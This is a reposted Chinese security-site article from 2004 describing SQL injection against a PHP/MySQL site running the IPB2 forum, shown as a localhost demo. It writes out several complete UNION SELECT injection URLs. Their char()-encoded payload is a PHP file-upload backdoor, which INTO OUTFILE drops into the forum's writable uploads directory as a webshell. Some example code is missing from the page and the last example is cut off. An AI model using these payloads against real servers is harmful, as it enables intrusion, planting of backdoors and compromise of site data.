执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
从TCP/IP配置建立安全的Linux服务器
防范PHP木马
包嗅探器、Web欺骗、phishing和按键
Delphi木马DIY之代码藏后门的可能性
PHP在安全方面的另类应用
从上传webshell到突破TCP/IP筛选到
PHP注射总结
PHP配置漏洞攻击
php注入实例
谈php+mysql注射语句构造
PHP+MySQL注入导出文件的新发现(附带IPB2的漏洞利用)
作者:佚名 来源:安全在线 更新时间:2004-12-7 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:   我前段时间写了一篇《MySQL注入中导出字段内容的研究——通过注入导出WebShell》(http://www.4ngel.net/article/37.htm),是查询数据然后在生成文件的,现在我发现其实不少PHP程序,比如IPB就是把数据处理过了,再插入数据库,一般是htmlspecialchars()之后,插入数据,所以利用该文的方法,就行不通了,即使把webshell的代码插入数据库,生成出来的也是被处理过的代码。用不了。
  近段时间在测试一个PHP网站的时候,由于在load_file的时候,看不到文件的内容,所以我就怀疑是不是字段的原因,因为那些全部是int类型的,还有少数是VARCHAR的,我当初以为是因为这个原因,其实后来进入以后才发现是没有FILE的权限,我不断的换URL提交(注意,写文章的时候,该网站已经修补了漏洞,现在是本地演示):

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47,104,111,109,101,47,119,119,119,47,99,111,110,102,105,103,46,112,104,112)

  屏幕上显示了:

/home/www/config.php

  路径没错啊,文件也存在啊,难道没有权限?暂时放下这个,这个站点有可写的目录,是ipb2的论坛,/ipb2/uploads这个目录是要设置成可写的,上传附件才能正常使用,我就想利用插数据,导出文件的方法,因为我看了phpinfo(),magic_quotes_gpc 是关闭的,所以用into outfile没有问题,然后在本地测试了一下,发现提交的代码:

  变成了:
  多提交几个地方,均被做了处理,看来这样我的这个思路又不行了,突然想到刚才看路径的时候,能用char()函数输出字符串,那我能不能直接写上传代码?

  这个转换为10进制是这样的:
char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)

  我马上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)

  屏幕并没有显示出我们想要的东西,我查看源代码,发现

  这个代码老老实实躺在里面,如图:

 




    之所以看不见,是因为浏览器把"<"和">"之间的东西当成HTML代码解析了,这么说是可行的!这样的好处和插数据,导出文件相比好处在于:

    不用插入数据,因此不用考虑数据类型和长度,也不怕做处理。
    只用知道一个数据表就可以使用into outfile了,无需知道字段。
  因为之前,我猜到一个user表,我也不用去知道字段了,有字段作为查询条件只是为了防止数据库很大,导出所有数据时很慢的情况,我现在马上就提交:

http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) from user into outfile /home/www/ipb2/uploads/upload.php/*


  马上查看,如图:



    注意:因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样:

    http://localhost/111/show.php?id=1 and 1=2 union select 1,1,

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号